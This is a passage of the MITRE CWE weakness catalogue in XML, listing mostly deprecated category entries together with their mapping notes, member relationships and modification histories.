            <Previous_Entry_Name Date="2017-11-08">Byte/Object Code</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="504" Name="DEPRECATED: Motivation/Intent" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Motivation/Intent</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="505" Name="DEPRECATED: Intentionally Introduced Weakness" Status="Deprecated">
         <Summary>This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-01-30">Intentional</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Intentionally Introduced Weakness</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="513" Name="DEPRECATED: Intentionally Introduced Nonmalicious Weakness" Status="Deprecated">
         <Summary>This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-01-30">Nonmalicious</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Intentionally Introduced Nonmalicious Weakness</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="517" Name="DEPRECATED: Other Intentional, Nonmalicious Weakness" Status="Deprecated">
         <Summary>This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-01-30">Other</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Other Intentional, Nonmalicious Weakness</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="518" Name="DEPRECATED: Inadvertently Introduced Weakness" Status="Deprecated">
         <Summary>This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-01-30">Inadvertent</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Inadvertently Introduced Weakness</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="519" Name="DEPRECATED: .NET Environment Issues" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">.NET Environment Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="557" Name="Concurrency Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to concurrent use of shared resources.</Summary>
         <Relationships>
            <Has_Member CWE_ID="364" View_ID="699"/>
            <Has_Member CWE_ID="366" View_ID="699"/>
            <Has_Member CWE_ID="367" View_ID="699"/>
            <Has_Member CWE_ID="368" View_ID="699"/>
            <Has_Member CWE_ID="386" View_ID="699"/>
            <Has_Member CWE_ID="421" View_ID="699"/>
            <Has_Member CWE_ID="663" View_ID="699"/>
            <Has_Member CWE_ID="820" View_ID="699"/>
            <Has_Member CWE_ID="821" View_ID="699"/>
            <Has_Member CWE_ID="1058" View_ID="699"/>
            <Has_Member CWE_ID="1322" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="559" Name="DEPRECATED: Often Misused: Arguments and Parameters" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationship_Notes, Relationships, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Often Misused: Arguments and Parameters</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="569" Name="Expression Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to incorrectly written expressions within code.</Summary>
         <Relationships>
            <Has_Member CWE_ID="480" View_ID="699"/>
            <Has_Member CWE_ID="570" View_ID="699"/>
            <Has_Member CWE_ID="571" View_ID="699"/>
            <Has_Member CWE_ID="783" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="60" Name="DEPRECATED: UNIX Path Link Problems" Status="Deprecated">
         <Summary>This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">UNIX Path Link Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="63" Name="DEPRECATED: Windows Path Link Problems" Status="Deprecated">
         <Summary>This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Windows Path Link Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="632" Name="DEPRECATED: Weaknesses that Affect Files or Directories" Status="Deprecated">
         <Summary>This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2007-10-01</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses that Affect Files or Directories</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="633" Name="DEPRECATED: Weaknesses that Affect Memory" Status="Deprecated">
         <Summary>This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses that Affect Memory</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="634" Name="DEPRECATED: Weaknesses that Affect System Processes" Status="Deprecated">
         <Summary>This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses that Affect System Processes</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="68" Name="DEPRECATED: Windows Virtual File Problems" Status="Deprecated">
         <Summary>This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
